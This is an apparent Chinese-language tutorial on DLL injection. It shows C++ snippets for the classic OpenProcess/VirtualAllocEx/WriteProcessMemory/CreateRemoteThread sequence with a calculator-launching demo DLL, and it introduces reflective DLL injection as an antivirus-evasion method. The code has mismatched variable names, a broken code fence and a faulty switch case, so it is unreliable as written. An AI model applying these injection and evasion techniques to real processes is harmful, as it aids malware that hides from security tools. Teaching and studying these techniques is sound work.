DLL注入技术

目录

DLL注入

DLL注入,就是使某个进程强行运行某一个DLL文件。

经典DLL注入

在最经典的DLL注入中,会先通过OpenProcess函数打开目标进程,然后VirtualAllocEx向指定进程分配内存空间,随后WriteProcessMemory向进程的内存空间中写入DLL文件内容,然后CreateRemoteThread使远程进程调用DLL文件。

image-20210716005444473

我们以弹出计算器为目的,来探究如何通过C++实现dll注入。

#include "pch.h"
#include<stdlib.h>



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH||DLL_THREAD_ATTACH:
        system("calc");

    }
    return TRUE;
}
所以我们的DLL就是在被加载的时候弹一个计算器

然后编辑我们的注入器,注意,下面的操作都是用ASCII字符完成的而不是宽字符。

打开指定的进程,获取句柄

ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));  

向远程进程分配内存,并向其写入我们的DLL文件路径

```\ LPVOID remotebuffer1 = VirtualAllocEx(CurrentProcessHandle, NULL, strlen(dllpath), MEM_COMMIT, PAGE_READWRITE); write = WriteProcessMemory(CurrentProcessHandle, remotebuffer1, dllpath, strlen(dllpath), NULL);


动态获取LoadLibraryA 函数

```纯文本
HMODULE Ker = GetModuleHandleA("Kernel32.dll");
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(Ker, "LoadLibraryA");

通过CreateRemoteThread为远程进程创建线程,去调用LoadLibrarayA 去加载指定Dll

CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);

大致流程就这样。

反射型DLL注入

反射型DLL注入是免杀中的一个比较有效的方法。

反射型DLL注入不需要DLL落地,更加隐蔽,所以就减少了查杀的风险,。